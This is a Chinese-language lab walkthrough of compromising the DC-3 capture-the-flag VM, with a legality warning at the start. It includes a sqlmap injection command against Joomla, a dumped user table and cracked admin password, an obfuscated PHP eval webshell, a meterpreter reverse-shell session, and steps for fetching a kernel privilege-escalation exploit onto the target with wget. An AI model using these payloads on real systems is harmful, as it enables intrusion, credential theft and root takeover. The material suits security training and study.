前言
首先大家一定要记住，所有未经授权的渗透都是违法的，所以大家切勿一通乱黑，被关进橘子有的哭了。我们可以在本地搭建一些本地靶场，比如Dvwa
项目介绍
靶机：172.16.10.31
攻击机：172.16.10.13；172.16.10.26
一、信息收集
1.主机发现
2.端口扫描
3.服务详情扫描
二、漏洞利用
1.访问web
主页告诉我们该靶机只有一个flag，要想拿到flag必须获得root权限
This time, there is only one flag, one entry point and no clues.
To get the flag, you'll obviously have to gain root privileges.
How you get to be root is up to you - and, obviously, the system.
Good luck - and I hope you enjoy this little challenge. 
2.获取Web框架信息
3.nikto扫描
使用nikto对该站点进行扫描，看一下有哪些漏洞或者文件

Using Sqlmap:sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
4.脱库

5.枚举joomladb数据的所有表
Database: joomladb[76 tables]+---------------------+| #__assets || #__associations || #__banner_clients || #__banner_tracks || #__banners || #__bsms_admin || #__bsms_books || #__bsms_comments || #__bsms_locations || #__bsms_mediafiles || #__bsms_message_typ || #__bsms_podcast || #__bsms_series || #__bsms_servers || #__bsms_studies || #__bsms_studytopics || #__bsms_teachers || #__bsms_templatecod || #__bsms_templates || #__bsms_timeset || #__bsms_topics || #__bsms_update || #__categories || #__contact_details || #__content_frontpag || #__content_rating || #__content_types || #__content || #__contentitem_tag_ || #__core_log_searche || #__extensions || #__fields_categorie || #__fields_groups || #__fields_values || #__fields || #__finder_filters || #__finder_links_ter || #__finder_links || #__finder_taxonomy_ || #__finder_taxonomy || #__finder_terms_com || #__finder_terms || #__finder_tokens_ag || #__finder_tokens || #__finder_types || #__jbsbackup_timese || #__jbspodcast_times || #__languages || #__menu_types || #__menu || #__messages_cfg || #__messages || #__modules_menu || #__modules || #__newsfeeds || #__overrider || #__postinstall_mess || #__redirect_links || #__schemas || #__session || #__tags || #__template_styles || #__ucm_base || #__ucm_content || #__ucm_history || #__update_sites_ext || #__update_sites || #__updates || #__user_keys || #__user_notes || #__user_profiles || #__user_usergroup_m || #__usergroups || #__users || #__utf8_conversion || #__viewlevels |+---------------------+
6.枚举#__users表中的所有字段

读取username和password内容

得到的密码是经过加密的，接下来解密这一串密文
得到admin的密码为：snoopy
7.登入系统后台
用拿到的用户和密码登入后台，如下所示表示成功登入
8.Getshell
上传木马，这里可以使用一句话木马，如果在高度安全的环境下，建议使用加密木马，这里就不上传了，直接创建一个木马文件
@error_reporting(0);function Decrypt($data){$key="e45e329feb5d925b";$bs="base64_"."decode";$after=$bs($data."");for($i=0;$i$after[$i] = $after[$i]^$key[$i+1&15];}return $after;}$post=Decrypt(file_get_contents("php://input"));eval($post);
连接木马
启动虚拟终端
三、提权
先反弹一个msf，选择自己喜欢的方式就行，也可以用bash反弹一个会话，这里为了便于提权就使用msf
反弹成功如下图所示
开始提权
meterpreter > shellProcess 1752 created.Channel 0 created.python -c "import pty;pty.spawn('/bin/bash')"www-data@DC-3:/var/www/html/templates/beez3$www-data@DC-3:/var/www/html/templates/beez3$ whoamiwhoamiwww-datawww-data@DC-3:/var/www/html/templates/beez3$ ididuid=33(www-data) gid=33(www-data) groups=33(www-data)
因为现在我们还是www-data权限，得想办法得到root权限，这里只用两种方法可以
方法一、
获取当前操作系统的版本信息
获取当前操作系统的发行版信息
看到当前版本是Ubuntu 16.04， 去searchsploit寻找一下漏洞
根据上面收集到的信息过滤无用信息
不知道用哪一个的话一个一个试，当使用下面这个漏洞时发现可以成功提权为root
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation | linux/local/39772.txt1、下载exploit
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
2.上传exploit
将下载的exploit上传到服务器，这里直接在攻击机上搭建一个web服务器，然后在目标服务器上使用wget命令从攻击机上下载这个exploit
解压39772.zip文件，在将其里面的exploit解压,解压完后执行下面命令即可

执行id后发现已经是root权限了，进入root目录，找到flag
方法二
使用辅助脚本，将攻击机上的辅助脚本上传给受害服务器
